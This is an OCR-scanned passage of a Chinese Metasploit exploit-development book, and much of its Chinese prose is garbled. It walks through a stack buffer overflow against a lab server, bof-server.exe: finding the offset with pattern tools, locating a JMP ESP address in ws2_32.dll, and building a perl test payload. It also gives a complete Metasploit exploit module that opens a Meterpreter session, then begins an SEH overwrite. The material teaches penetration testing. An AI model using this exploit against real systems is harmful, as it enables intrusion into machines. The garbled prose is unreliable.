EBX R A Ay, RN — AR T BRI, R/NA32(L

ECX RAE—ACAKBLEIN A H R s, K/hA324;

EDX X MR RAFVOSREH B A7 4%, K/NA3267

ESIEDI PERRT % Ares, AENIFs RN BdRRE, K/hh320L

ESP AR TR E, BYA RS AR5, ESPREAS KL
s, K/ANA32ME,

EBP R RBIRRR A A, R/NA324E

EIP RRFESHREN, KUNAB2ML, RAFEPETEEN M. ERETERITIT —HE
A bk

SS, DS, ES, CS, FSFIGS  XUEABEBAfFat, K/hhl6fn




3.2 1% A Metasploit 55 I AR 69 2% o X iz 93

ARRMG AR I RABR R THERRGEFRZA AR LNOE L3
B, 317 P http://resources.infosecinstitute.com/debugging-fundamentals-for-exploit-
development/#x86 .

3.2 {¥H Metasploit SCI]xF4% HILE X iz

Genp I o — R PAT RS, BlE 2k XS AR, X B TP XY
RN HB R TNl RIS I T — AR A g DU R

0x00000000 0x00000000

ESP. #Toiigtt

PRAFE S 2E ]

{RFEEIP M
fE

T4 A
b

OXFFFFFFFF OXFFFFFFFF

BRI R T — AP IOEEH, A7 R 1 240 i G b DX A PR R )
%I%D

RS AL A REAI X G o DX it IR I WE 7 A& S HLSAR T B WRFRA T IE 1 HISK PRAFEIP
AR U 1k AT T RS IR, IR A0t T DURHAT R i PR A B JFOR EIPRO L B, AT BT 2 T
MF—452 0tk P, FRATEAGA S — e il 6 1 72 i BIPRITTEI 14 I A 50 P ot 2214
HERR 7RO . AERE ORI, FRATTH TR B AN i FH Metasploit fe i i iX MR
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3.21 F—IBRANIEFEX

B A T A T R S R o X S R MR A . JefEar 4

Ny
i

st T i REF

AWINDOWS\system32\cmd.exe - bof-server.exe 200

icrosoft Windows XP [Uersion 5.1.260401
(C>» Copyright 1985-2801 Microsoft Corp.

~Documents and Settings“Administrator>cd Desktop

Documents and Settings“Administrator-Desktop’hof-—server.exe 2688
[1928] 192.168.18.184 connected

||

ATAFR], A NEFTE2008 H_ FHRHETCPRSS o 13X 1~2003 H AT TELNETE %, KRG

FRBtEENLEE, XA R R B TR o

B Telnet 192.168.10.104 ) [

> AARARARAARAAARAARAAARAARAARRAARAARRAARAARARARAARAAARAARAAARAARAAARRAARAAARRAARAA
ARARARRARARARRAARARARAARARARAARARARAARARARAARARARAARRAARAAARRAARAAARAARAARARAARAAAR
ARARARRARARARRAARARARAARARARAARARARAARARARAARARARAARRAARAAARRAARAAARAARAARARAARAAAR
ARARARRARARARRAARARARAARARARAARARARAARARARAARARARAARRAARAAARRAARAAARAARAARARAARAAAR
ARARARRARARARRAARARARAARARARAARARARAARARARAARARARAARRAARAAARRAARAAARAARAARARAARAAAR
ARARARRARARARRAARARARAARARARAARARARAARARARAARARARAARRAARAAARRAARAAARAARAARARAARAAAR
ARARARRARARARRARARARAARARARAARARARAARARARAARARARAARRRARAARRAARAARARAARARARAARARAR
ARARARRARARARRARARARAARARARAARARARAARARARAARARARAARRRARAARRAARAARARAARARARAARARAR
AARARAARAAARAARAAARAAAAARARAARAAARARAARAARARARAARARARAAARRAARAAARAARAAARAARAARARAARAAARA
AAARAARAARARAARAARARAARAARARAARAARARAARARARAARRAARARARAARARA,,

-

Rt TR S, 5 EARRER WO T, ORI ARSI S af L4
NERABR S A LA T A

bof-server.exe has encountered a problem and needs to
close. We are sorry for the inconvenience.

|F you were in the middle of something. the information vou were waorking on
might be lost.

Pleaze tell Microsoft about thiz problem.

We have created an eror report that you can send to uz. We will treat
thiz report a3 cotfidential and ahonymous.

To see what data thiz emor report containg, click here.

Send Error Report | [on't Send |

. KE—
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it i Fficlick heresft il LAIARAF— A idltty, F4s i 7 BARRIE R

Errar signature

AppMame: bof-zerver exe Apptfer: 0.0.0.0 ModMame: unknown
Modver: 0.0.0.0 Offzet: 41414741

Reparting detailz
Thig ermar repart includes: information regarding the condition of bof-server.exe when the problem
occurmed; the operating syztem version and computer hardware in uze; your Digital Product 1D, which
could be uged to identify your licenze; and the Internet Protocol (IF) addrezs of pour computer.

We do not intentionally collect your filez, name, address. email address ar any other form of personally
identifiable information. Howewver, the emor report could contain customer-specific information such as
data from open files. While thiz information could potentially be used to determine your identity, if
present, it will not be uzed.

The data that we collect will only be uzed ta fix the problem. IF more information iz available, we will tell
wou when yau repart the problern. This erar repart will be zent uzing a secure connechion bo a databaze
with limited access and will not be used for marketing purpozes.

T wiew technical infarmation abaut the erar repart, click here.

To see our data collection policy on the web, click here. Claze |

T TCIETEHAEA 141414 4R B T —FZPATIOFE S, M T80T B7 it . X B i pe k3
— BBk o2 ThRNG e (H4 R FAF AR 160 3R, athIE RV AN TR, EATEBE TR X AE
i, #5578 TEIPA/Eas. MT F—580 Mkl ES , BRI N 41414141 4
EFE T —FEPITHES, HXBRANR— AR, FTLARR RS T .

0 VAT B AL T VA T 2R &y 45 A8 R 6942 5« http://redstack.net/blog/category/
How%2To.html,

3.2.2 HMEEERRAEAL
N T SEB HARBLH BB E IR AR R G RIAIR, 75 23RO R R ol iR

I A&

ffs & (offset) BAVE_E— P ik AR T, h TBEX N RS, 52 g o X
EBPZ 178 e T i MERA I BT, X MK SR I N A st & W IR AFRIEIPF 743 R
B TR A 7 HEEIP A7 85 B -K AR A (s it

PriEiit (jump address/ret)  Fsk E BEIPEfFas ) — Mk, % & —/"DLLXHAYIMP ESPH§4-, mILALLRRF
Bk B B i 3t B AE i il

R4+ (bad character) W FHRI AL ol e S B b AT B T4 . [Ri%—4>ShellCodeHh f7- fEnull 5
(0x00) , BB 2 EAEWIZ & L ok vl RE S8k i o), T HE B B AR A 311
SRR, BRI IR T
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R T8 SR

Buffer EBP EIP

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Jl\:l;ij Padding ShellCode

\ J { J

| |
1. WS EESZE M X AMEBPHr R 71 3. AT EBRATE BRI EE
Ko Bt

XTIR P, e LR B R

(1) flE I iy ASUFEEIP AT g A ML 2 BT (¥ 2 v X HIEBPAF 4745 o
(2) f# FHIMP ESPI btk >k M 5 EIP,,

(3) TET iy Z HiTf fi— S T R

(4) MBI BT A B I R0

TR 4 P 25K TR A A 2R X AL B

323 HERRE
W AN GR, TR B BRI — AL AR R R ht . 7E AN AR polst (i P

Metasploitf iz T.H., 25 /Epattern_createfllpattern_offset,
1. {ffpattern_create T H

FEE—Arp, FRATE A K= A AR ET BARREF 5 . AN B RE SR eI ST anfn
FIHE—ATT DL TAER B B, I 282004k S B0 3 5t 1) B A5 480 . Metasploit P &
Mpattern_create LEW LIFEMGX — TAE—E /=4 T 0] DU A5 it A T SR #4517 41
FFXAFF ] LI B EIPA A7 H I . i X R A T Hpattern_of fset W] IR HHE
R 80 . T RIS T BRI EAE .
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rootlkali:/usr/share/metasploit-framework/tools/exploit# ./pattern create.rb 1000
AalOAalAa?Aa3AadRraSAabhaTAaBRra92b0Abl1AbL2AB3ABAALSAB6ALTALBAL9ACOAC1AC2AC3AC4ACEACH
AcTAcB8AcSAd0AdI1Ad2Ad3Ad4Ad5Ad6AdTAdBAd9Ae0Re]l Ae2he3Redhe5AebRe TAeBRe9AFOATIAF2AFS
AfAAfSAf6AfTAFBAf9Ag0Agl Ag2RAg3Ag4Ag5Ag6AgTAgBAGI9AhOAh]I1ANWZAh3Ah4AKWSAh6AhTARBANROAI0
AilAi2AI3AI4AISAI6ALTAIBAISAT0A]1IAJ2A 3A]4A)5A]6A]TAJBA]9AK0AkK]IAK2AK3AKAAKSAKGAKT
AkB8AKSAI0AL11AI2A13A14A15A16A17A18A19AM0AM] AM2Am3AMAAMSAM6AMTAMBAMIANOAN]I AN2AN3ANd
An5An6AnTAnBAN9Ac0AclAc2A03A04A0c5A06RA0TACBACOAPOADl1 AR2Ap3AP4ADRSAD 6AD TARBAP 9AqOAG]
Aq2Ag3Aq4AgSAg6AqTAQBAqQOAT AT 1 AT 2Ar3Ar4ArSATr6Ar TAYBAr9As0As1As2As3As4As5ASs6As TASE
AsOAtOAtIAt2At3At4AtSAt6ALTALBAL9AUOAUlAUZAU3AU4AUSAU6AUTAUBAUIAVIAVIAVZAVIAVAAYS
Av6AVTAVBAVIAWOAWI AW2 AWw3AWAAWES AW AW TAWBAWOAKOARI Ax2Ax3AR4AxEAR6Ax TAXBARAY0AY1AY2
Ay3Ay4AySAy6Ay TAYyBAY9AZz0AZz1Az2AZz3Az4A2z5Az6AzTAz8Az9Bal0BalBa2Ba3Ba4Ba5BatBa7/BaBBa2
Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7TBbBBb9Bc0Bcl1Bc2Bc3BedBe5Bc6BaTBe8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6
Bd7Bd8Bd9Be0BelBe2Be3Bed4Be5Be6Be7Be8Be 9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf TBf8Bf9Bg0BglBg2Bg3 _

Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

1 Ffl /tools/exploit/ H 5 T T [ pattern_create.rbfiEIAS A= jli—A4~ 1000715 1 F4F 751, 4559440 |
B o 34 A8 o] LS ARS8 A A il AR e, R IERR

[ Telnet 192.168.10.104 =aiey X

> naana1naznasnaqnasnasna7nasnasnbenb1nbznbsnbunbsnbsnb?nbsnbsncenc1nczncsncqncs;w
AcBAc TACSACIAdOAd 1 Ad2Ad3AdYAdSAdEAd TAdBAdIAeORe1Ae2Ae3AetAeSAe6Ae TRe8AeIATOAT 1 AT
2AT3AF4AFSATEAT TATB8ATIAGOAGTAg2Ag3AgHAGSAGBAGTAGBAGIANDANT Ah2Ah3ANRYAKSAKEANTAKSA
h9AiBA11AL2A13AL4AISAIBALTALIBALI9AJOAI1AJ2AJ3AJYAJSAJEA] TAJBAJIAKOAKTAK2AKIAKLAKS
AkBAK TAKSAKIALOAL1A12A13A14A15A16ALTALBALIAMOAMT Am2AM3AMY AmSANG Am TAMBAMSANBANT An
2AN3AN4ANSANGANTANBAN9A0OA0 T Ao2A03AotACSACBAO TAOBAO3APBAP 1 Ap2Ap3APLARPSAPEAP TAPSA
P9AGOAYTAG2AY3AGHAYSAYEAY TAYBSAYIArOAr1Ar 2Ar 3Ar 4Ar SAr6Ar TAr8Ar 9As0As 1As2As3AsYASS
AsBAsTASSASIALOAL 1At2AL3AtYALSALEAL TALBALIAUOAUT AUZAU3AULAUSAUBAUTAUBAUIAVBAY T A
2AV3AVEAVSAVEAU TAVBAVIAKWOAKT AWZAW3AMYAWS AWGAW TAWBAWIAXOAX 1 AX2AX3AXYAXSAXEAX TAXBA
x9AYOAY 1 AY2AY3AYHAYSAYEAYTAYBAYIAZOAZ1AZ2AZ3AZ4AZ5SAZ6AZ TAZ8Az9Ba0Ba1Ba2Ba3BaiBas
BatBarBa8Ba9Bb0Bb1Bb2Bb3Bb4BbSBb6BbTBb8BbIBcOBec1Bc2Bc3Bc4BeSBec6Be TBc8Bc9BdOBd1Bd
2Bd3Bd4BdSBd6Bd TBd8Bd9BeOBe1Be2Be3Be4BeSBe6Be TBe8Be9Bf0OBf1BF2Bf3BFY4BFSBf6Bf TBFSB
f9Bg0Bg1Bg2Bg3Bg4BgSBg6Bg TBg8Bg9BhOBh1Bh2B,_

M E BRI S5 B e i 2 ol IE B AL 1, T gs 1 %A A

Error signature

AppMame: bal-zerver. exe Appver 0.0.0.0 tModH ame: unknown
Modyer: 0.0.0.0 Offset: 72413372

R eporting details
This eror report includes: information regarding the condition of bof-server.exe when the problem
occured; the operating system wersion and computer hardware in use; your Digital Product 1D, which
could be used to identify vour license; and the Internet Protocol [IP) address of wour computer.

We do not intentionally collect your files, name, address, email address or any other form of personally
identifiable information. Howewer, the error report could cantain customer-specific information such as
data from open filez. While thiz information could potentially be used to determine your identity, if
present, it will nat be uzed.

The data that we collect will only be used ta fix the problem. IF more infarmation is available, we will tell

yaou when you report the problem. This error repart will be zent uzing a secure connection to a databasze
with limited access and will not be uged for marketing purposes.

To wiew technical information about the emor report, click here.

Ta zee our data collaction policy on the web, click hers.
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BATRILT J&7241337278 55 T EIPZAAF A Huhk .
2. {¥Fpattern offset TH

B, BOTC AR E eI e A HhEA72413372, #: T2k, ffifpattern_
of fset THRIA N B EIpif MM F e, X TRATFENNSH, £ 2k, 55
M RKE—XMESE1000, WM Hpattern_createf AR F P EE . AT LR 4N
TR IR

rootlkali:/usr/share/metasploit-framework/tools/exploit# ./pattern offset.rb 72413372 1000
[*] Exact match at offset 520

TRHAEE R 520, UL, FE5207719 ) 1 947 il 2 JUS BIEIPH A7

3.2.4 #Ei JMP ESP btk
PR — N B &L AR

{ J \ J

! !
SIEIPH 17 8 ({5 B 5520 JAT bR AW B R A
Vi i Bt

MAEC LI TN T RS, F kA $RIMP ESPAY ik o 34712 i LA T5 23X A~ IMP
ESPHE4 Wbk, 2 NFRAE L ESPAFAE S R A TG 2T, AR ARSI ZE vh X 22 Ji5 7 B
MR B Ak, P, SFEN— MR DLL S5 3]IMP ESPHE 4 1tk , X ANDLL SR
iR Bk RIESPrR A bt i X E R 2T AR G

J T IREBGXA R Ak, RN RES SO AT RE A XA T B R PR R T R
DLL3CF. BRI Aimmunity Bk 8 B k£, 4RI T S T4 5 BB S 6 1
1. EAimmunity B 88 T AT I TIRR

immunity AR AT, €T AT B A TS — P AEa T A &R0 AT o 30K
A BT ARRG I . ST AR LSOO R e S B ) TR, 2855 fEimmunity 4%
OIHTERB B BT , AMUBERE BIFA] T4 M e rPAO(E, tLRESRIE HARTRF IO FAHOC
Ak, DA A 5 2 LA B R R TR B A IR ] PR T SO
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P immunity RS S AR TP AYFILERE N, SRS 7ES AT bz Brh 3 86 Open, iXAERETT L
AR AR T AT SO, D AMBAT Dhd o B S 5 L FILERE I, SRIGHE s hrbik
B Attachi® T, K — 2 SRR RN 2 immunity FHRAS o 32 FORAE — T W — R ss
PERRINAAE . 2648 T FILE|Attach)5 ?Jtﬂu%ﬂﬁﬁ%? T TR ARSI 3R . URTRE AR H
EEBEAE R . i, X LR AR AR A — 5 M — PRI E] T immunity RS 25,
BINFEH T, EATEERE . I, T84 B Playf IR R N B EDIR S e 28 1 IR AS o
KB — T WP — A PERE RN B immunity 12

Select process to attach \:.\E|g|

PID |Name Listening|[Path Al
svchost C:NHINDOHSNSystem3Z2\svchost .exe
64 WinSMTPServer C:N\Program Files\HinSMTPServer\Windows SMTP Server\
VMUpgradeHelper C: \Drosr-am Files\VMware\VMware Tools\VMUpgradeHelpe
Explorer C:N\WINDOWSNExplorer.EXE
wscnt‘F¥ C:\HINDOWSNsystem3Z2\wscntfy.exe
VMwarelray C:N\Program Files\YMware\VMware Tools\VMwareTray.exe
VMwareUser C:\Program Files\YMware\VMware Tools\VMwareUser.exe
bof -server TCP: 20@ |C:N\Documents and Settings“mm“Desktop“bof-server.exe
alg TCP: 1038 C:SHINDOWS\System32\alg.exe
wuauclt C:\WINDOWS\system3Z\wuauclt .exe
svchost C:\WINDOWS\system3Z2\svchost .exe
cmd C:\WINDOWSN\system32~cmd. exe =
Cancel

¥R AttachTZ# 2 5, B 5EdiView, X5 Fk$Executable Modules, XAFEEEA] LIE 2 24
XA il N AR P AR T MBS DL, F sl T X2 e Frfd FH R DLL 3

3 Executable modules |;”§|r§

File version Path

B8491138 bof-serv
662E7A51 hnetcfg
71A514CD msusock
7?1A9142E wshtcpip
71AA1642 WS2HELP
71AB1273 W82 32
?7C1F2A1 msvcrt
??D5BEB? USER32
272007804 ADUAPI32
??E76284 RPCRT4
??F163CA GDI32
7C80B436 kernel32
7C913156 ntdll

C:xDocuments and Settings“Administrator\Desktop:bof-server.exe
260@.2188 ¢ C: \WINDOUS\system32\hnetcfg.dll i
2600._2180 ¢ C:\WINDOWS system32\msusock.dll

-2688_2188 ¢ C:A\NINDOWS\System3I2 wshtcpip.dll

2600.2188 ¢ C: \WINDOUS s ystem3I2\WS2HELP.d11

-1.26088.2180 ( C:\WINDOWS\system32\WE2_32.DLL

.0.2608.2188 (G C:S\WINDOWSNsystem3Z'msvecrt.dll

-1.2608.2188 (G C:i\WINDOMS \system32\USER32.d11

-1.2688.2180 (G C:A\WINDOWS\system32\ADUAPI32.d11

-1.2688.2180 ( C:A\WINDOWS\system32\RPCRT4.d11

-1.2608.2180 ( C: \WINDOWS\system32\GDI32.d11

-2600.2188 C C:\WINDOUS\system32:kernel3d2_d1l

-2600.2188 C C:\WINDOWSN\system32 ntdll.dll

[

quinnnn-gAnnam:
O

A C 2 TDLLSCASNE, TR EAEEA T2 IMP ESPI L
2. msfbinscanfi{E A

FERT—1rh, FRATC SR B T A el B FHFR 7 AH G B DLLEE R . BRAE A PR T,
i F immunity J8 20 #§ 25 $k IMP ESP#5 4 i bk, 33X J& — /12 K SRR i) i 2 ﬁ%‘@ﬁiﬂq
ms fbinscanff—DLLCF A FRIMP ESPHE 4 fyihit——iX Ml bR 2, miHA 25 TR
I FIEE

AT Tms foinscanf i Bifn 4, ] LIAS3 T 1 Ao
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root@kali: /usr/share/metasploit-framework# msfbinscan -h
Usage: /usr/bin/msfbinscan [mode] <options> [targets]
Modes:

-3j, ——Jjump [regA,regB,regC] Search for jump equivalent instructions

[PE |ELF | MACHO]

-p, —-poppopret Search for poptpop+ret combinations

[PE | ELF | MACHO]

-r, --regex [regex] Search for regex match

[PE |ELF | MACHO]

-a, —--analyze-address [address] Display the cocde at the specified address

[PE |ELF]

-b, --analyze-offset [offset] Display the code at the specified offset

[PE |ELF]

-f, --fingerprint Attempt to identify the packer/compiler

[PE]

-i, —--info Display detailed information about the imag
e [PE]

-R, —--ripper [directory] Rip all module resources to disk

[FE]

-—context-map [directory] Generate context-map files

[PE]
Options:

-A, --after [bytes] Number of bytes to show after match (-a/-b)

[PE |ELF | MACHO]

-B, --before [bytes] Number of bytes to show before match (-a/-b
) [PE |ELF | MACHO]

-I, --image-base [address] Specify an alternate ImageBase

[PE |ELF | MACHO]

-D, --disasm Disassemble the bytes at this address

[PE |ELF]

-F, --filter-addresses [regex] Filter addresses based on a regular express
ion [PE]

-h, --help Show this message

RAT LA Hms foinscan e A FMESS , Bil4n 3T SEHAH G i & #8 pop- POP-RETHE A 1Y
kb, s Bondg e bk s . A R 2 A RIMP ESPHE & 1yt , X n] Dl E 540 -5 19
JE T IN A 20 TR S, X A7 AR (E N ESP. T i fEws2 32.dISCHF it fra 4k, Diks
JMP ESPHyHuAE

rootl@kali:~# msfbinscan -j esp /root/Desktop/ws2_32.d11l
[/root/Desktop/ws2_32.d11]

0x71ab9372 push esp; ret

root@kali:~# I

XA AR P A SE R 0x71ab9372, X ETEWs2_ 32.dIBCFHIMP ESPFE 4 1yihik . #R)5 H
T FHIX A Mk ok F S EIPAF A e TR N2, Moy ik il LA RGP #R30 3440 7ShellCode .

3.2.5 1EFE[E
PR [ — F X ABEE, TS ET T T i,
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- - S

BT ] - -

\ ) \ J
| |

FIEIPZ 17 25 AU RTS8 4520 FAF AT R B E T SR

G

MAEC LI T T AR, At 58— i, ShellCodefi B} 1] fEANFEESPTR
A AL, FEX AR, TEA/EEIPFIESP [B] 2 ha % — Be X, i3 175 2l G WAL
Pl ENOPARIH FE XA DXk

T 14 ABCDEF & £ FIESP, Y d FHlimmunity JEI#e  HtE AT 200 iE, B3N RA
DEF, FEXA/REIH, FRAMTER TINFR, ik, TP FH3ANOPE & HALREH L& I E 7
Wz for o

BUERFR T AEA Tl 1 5L R P P A T R S AN R AL T Y

root@kali:~# perl -e 'print "A" x 520 . "\x72\x93\xab\x71". "ABCDEF"' >
jnx.txt

root@kali:-# telnet 192.168.10.104 200 < jnx.txt

Trying 192.168.10.104...

Connected to 192.168.10.104.

Escape character is '"*]'.

> Connection closed by foreign host.

1 EEH, FRATE T b X R/ T 85085 . FRAT155 A0 B 4B fm % i 2520, FILTES20
J& DL/ 0SS HIMP ESPHE 4 sl , FRARJG 25— R BENLA 745, Bl “ABCDEF”., 7k
EAE R Z 5, immunity R #S X ESPAF AR fe N B3 - AT 2007, S5 5RF

Registers (FPU) <
EnAx FFFFFFFF

ECX Aan@2737

EDX B0BBBRGS

EBX A0n0naaA

ESPF B@22FD71 ASCII ‘“BCDEF"

EEP 41414142

ESI @A1D1?BiA

EDI 3DB2C758

EIP BA22FD76

WUES], XAFEPLFATEH “ABCDEF” HiPfiat Rk, Wik, HAfza—1
TR AT LSBT S o DB NN OPRSF ST Shell Code i 1T A2 [] 28 G [ A5 A ) e
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NOPHISE R

NOPHINOP-sled#§ HJ& R AT AT E AR 2 o B BT 55 AU R RE e 76 WA 58 U T 454
FPIRAS FHATEI N — 7L . i FINOPTT LA EI 77 ShellCode A7 it ik . PRI AT LLAE
ShellCode R AR MK AINOP, XAERETHER T NAFHIHE AT EME . X B3R S AR IEF T30, X
IR AT T — k. 25384 E 16 FRIER, #id\x90,

3.2.6 MENRFEFR

A RMERTA B 5 TARR CIEF SR, A RERIIE B2 Hir Rt . B E TR T,
{HRI BT A AT . HB BRI PR LA B 0 FAR R GEHEAT 1 BTl A S g pir iy, st
S ERR . X RECEAN B EEPAGE TR, FRATEOR JCIE AT 0 R LA shell a2
Meterpreter, 7EXFELL T, 7 BARFPIRLE FEN GBI TR TAT . AP ARG B0 A e ikl
FEARBIVCRCH B B, KR T AT NS B P RSB

s BAE BB Pay 1 oad B SUXLBEIRTAT, AR P HXAHIT

'Payload’ =>
{
'Space'’ => 800,
'BadChars' => "\x00\x20\x0a\x0d4d",
'StackAdjustment' => -3500,
.

X B AR A1 F/exploit/windows/ftp H 5% F B freeftpd _user.rb U4+,

HRBERFHFE 438, #5719 http://resources.infosecinstitute.com/stack-
based-buffer-overflow-in-win-32-platform-part-6-dealing-with-characters-jmp-instruction/ .

3.2.7 MEZIEIPRF

ek 8 h A AS 2SI T T4 A ShellCode 23 R K /N FoA T 5L A M Ui i v
i ShellCode ZHE R M 123 ], QAR M ERATIR K, (HJ2 43 HL Ay 2s a4/ T ShellCode, "E4% TCik
PUT. BN, MEE A2 LT, ShellCodeitl/ ML, FATTHEL BRI RE—FIEML, — 1T
FH)ShellCode s 22 22 /80017, (HI& AT HIZS (B HAT200°F 15 o XFMEALT , TLASETESE ppIX rh#k
A — /M ShellCode, #RJ5 T ZFATH AR AShellCode, IXFERETT LA TE AL

8 IKVAF M bk T 3543 & 5% & 24 A3 b 40 89 ShellCode :  http://www.shell-

storm.org/shellcode/
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3.2.8 “RTE Metasploit HI;S1EHELR
KRl — T I AR, A RSO LT TR,

Buffer EBP EIP

“

|
SEIPHF 3 2 W RS 5520 Bt

FIIE N IE, FANTE LR T H A Metasploitti B Irifs B FTE N . A N7EMetasploit, T4
T H AR R, T H AR LIS B, BT, BAESLIT AR IE .

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote: :Tcp

def initialize(info = {})
super (update_info (info,
'Name' => 'Stack Based Buffer Overflow Example',
'Description' => %qg{
Stack Based Overflow Example Application Exploitation Module
}
'Platform' => 'win',
'Author' =>
[
'Nipun Jaswal'
1,
'Payload' =>
{
'space' => 1000,
'BadChars' => "\x00\xff",
¥

'Targets' =>

['Windows XP SP2',{ 'Ret' => 0x71AB9372, 'Offset' =>

'DisclosureDate' => 'Apr 19 2016"
))
register_options(
[
Opt: :RPORT (200)
],self.class)
end

ERttX4R ChenyangGao(2339083510@qq.com) = BEhRY
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TETFHHRIB ATk B S 2 AT, Jek BB X BUUT Pl B9 23

SIAIEA B =7 B &
Msf::Exploit::Remote: :Tcp /1lib/msf/core/exploit/tcp.rb TCPE Tt T AL TCP £, 14
anERE. Wi, SHIRE
FeA T A2 B S A —RER 7 SO AR . AL I B AT, PG SEERAE T | A

s BRSO AR R AR . PR i S S SN Ms £ -
B 3 PRI ARG s, FEHAPE A ik
Tk —

:Exploit:

:Remote, XF/R—PILFEE B
YEHE BRSNS SR, FEXEew)inft

SEHTHIA I, RIS Tk A IR TR R

A FA & A &

platform win ST BB E AR BbRE S, [HEiR hwinRoRiZisEE
BT LAz £ Windows 2RI 1 R4t -

disclosureDate Apr 192016 W & IR sEiR]

targets Ret: 0x71AB9372 Ret 7 ER 25 R EHRVE 250 IMP ESPRYHbHE, X/ -HbhEAYIE
L&k

targets Offset: 520 e By Beh T 7ERR B R G0 AP IEFEEIP 2 Wi 4% b [X BT
TN, £ LT OeRE TRAME

payload Space: 1000 Brii#ar o 178 e space s ST AT LME IR 2SR, X —
o T, A B (e R AR A PR 25 [A] o iz ShellCode

payload BadChars: \x00\xff Y #tr R AY7AE B BadCharsiE YT AE 7= A B 2t ek e 4,

IR

SR B AT CARIERR E

P, T HAE T MR

LB 5Y 5 S I AR P 0 i B i B R A SR 4

Tl fEregister_optionsTBUE X T B BRI AT /200, T H2FIATHI D

def exploit

connect
buf = make_nops (target['Offset'])
buf = buf + [target['Ret']].pack('V') + make_nops(10) + payload.encoded
sock.put (buf)
handler
disconnect
end
end
IR 1L FaARAS i E S e
. E X # G
make_nops /lib/msf/core/exploit.rb I SR IS H A QI B AR [ £ = INOP
connect /lib/msf/core/exploit/tcp.rb @ar 5 Bbrniks:
disconnect /lib/msf/core/exploit/tcp.rb PG ESEEE Tk WA b L
handler /lib/msf/core/exploit.rb BrERAE B A AH R B i fithandler, LIS 45

BREYR B R IIT, B R
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EL—THERMEL THE], PREBunBlE IR A BN R Y . AN T35
BIHOR UL, exploit A EERIAR 3 MREL,

B Hconnect PREESE HR, SA)5 11 Hmake_nops PREA: 1520 1NOP ( 5205% M EUE H

W Sy carget FREHHOf fset FERE )o KX 520 NOPIRAERIbu A8 T, 7EHE ok IY

— 4484, KIMP ESPRYMAERAE S pus (X Mtk i) (H AT IR AES 7 target H B Rt B

P ) i Hpack (v ) BT LKA HuhE 35 o /i . B r Re t HRE TR AN N OP

YE}ShellCodelW 37t . fifi FMetasploit 3 — i i LI s DI et 2y, i Hpay load.
encoded ] LLBR 2 H A Tl 2R A S I Bl ou £48 =P

ROk, i sock.put RECK buf A AL B EEZR BAR . SR)FiE Thandler 7 i K6 2
Hir R EEMIhiBE, UNESRIIEY T %R, &a, fHdisconnect WiFF M H bR
PR . PRGBS RIEE T XS .

msf > use exploit/windows/masteringmetasploit/example200-1

msf exploit(example200-1) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf exploit(example288-1) > show options

Module options (exploit/windows/masteringmetasploit/example200-1):

Name Current Setting Required Description

RHDST 192,168.10.104 yes The target address
RPORT 200 yes The target port

Payload options (windows/meterpreter/bind tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port

RHOST 192.168.10.104 no The target address

Exploit target:
1

Id Name

0 Windows XP SP2

msf exploit(example200-1) > exploitf]

FATVOE L T s B9, JH44 Mot 2847 1 & windows/meterpreter/bind_tep
AR R M F bR B %T%ﬁ%%ﬁm/\explmt e ZIa kA TH A4

AT

msf exploit(example208-1) > exploit

[*] Started bind handler
[*] Sending stage (957487 bytes) to 192.168.10.104

[*] Meterpreter session 1 opened (192.168.10.118:36771 -> 192.168.10.104:4444) at 2016-04-14 09:28:1
4 -0400

meterpreter > |




106 % 3F BESESRGITASIE

T, BT T AL E A MeterpreterffR . BAFEFRATTE ST HBSERL T 56—
MBEBI, TR DR B BEREYTT KR

3.3 {¥H Metasploit SLIE-TF SEH BILZE M [X g

SH AL HRR P ( exception handler V& SR AAE AR FE P T 0 TR A B3 A0 S R iR B AR A AR B
EAALEI AT DUFIE R R AR TS B3 . WindowstAE 2R 48 i A B S A AR, E—
AR R AR s, AT RSB/ RNRG M —A “XYZRERF SRR, T20CH” M H,
MEF A T R ZE, e M N # catch IS G HuhE I F cateh A% . R, 4nsR DISEFp
JraCe ik o TR S AL R i cateh RS kil , FRATTREREAS 4R X AN AR P . IR E—
AT S AL BRAR G N R PP e AR AT 2 HE N 2

0x00000000 0x00000000

X AAAAAAAAAAAAAAAA
i 2 B 23 ]

fRAFHIEBP AAAAAAAA
S  TRYHR

{RAFHIEIP AAAAAAAA
AAAAAAAAAAAAAAAA
2% AAAAAAAAAAAAAAAA
catchbhthil: S RS ERRR R B
—
L2 6 AAAAAAAA
OXFFFFFFFF OXFFFFFFFF

M BRI, AR T catchB il bt . 38T %0, HZ AL POt e as 2 %, sinl ks
P catchdk ikl . L, BT LU{# FMetasploitF i pat tern_createflpattern_offset ™
T HARHFXAH TS catchHedtihk i As . R gy b 17— m i,
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root@kali: /usr/share/metasploit-framework/tools/exploit§ ./pa
ttern create.rb 4000 > 4000.txt

FATRIE T— 14000 FFFFAFEH, I TeLNETar S BN TR BiR, RISTE
immunity Y & T A XA IR R AR

B1A3FFBC 45386E45 EnBE

B1A3FFCA 6E45316E nlEn

@1A3FFC4 336E4532 2En3 Pointer to next SEH record
B1A3FFC8 45346E45 En4E SE handler

B1A3FFCC 6E45356E nS5En

G1A3FFDG  376E4536 6En?
ALVER], XN HRR AR P SE handlerf ik B 292’5 45346845, B
pattern_offset WA MM &, SRWFER,

root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 45346E45 10
000
[*] Exact match at offset 3522

R RIVERCIE N 35220 A X LA SR H— a1, ARIGSEHMESRAISEHY , w] LI 240 T &1
N7

0x00000000

T—4&SEHITR AL
catchiehthi: ALEERR ML

F—4SEHIg R AL

catchBHb k- ACERFR A ik I

T 4SEHIRRA ML
catchieH it ALERE M

OXFFFFFFFF




108 % 3F HESCEER TSR

M4 L E, —ASEHIC TP AYT4 799 2 B 5 A SEH S H AL FRAR P sk, JR4 51 &
catchR bl . — N TR T REA 24 S b SR, I — N SEHIC B4 574 sk A3
1 F—4SEHIC R A Mtk . T IRRE B WAl HE 57 - F FHSEHIE 5% .

(1) FIERHFEFF RS, AT LA S A PR P

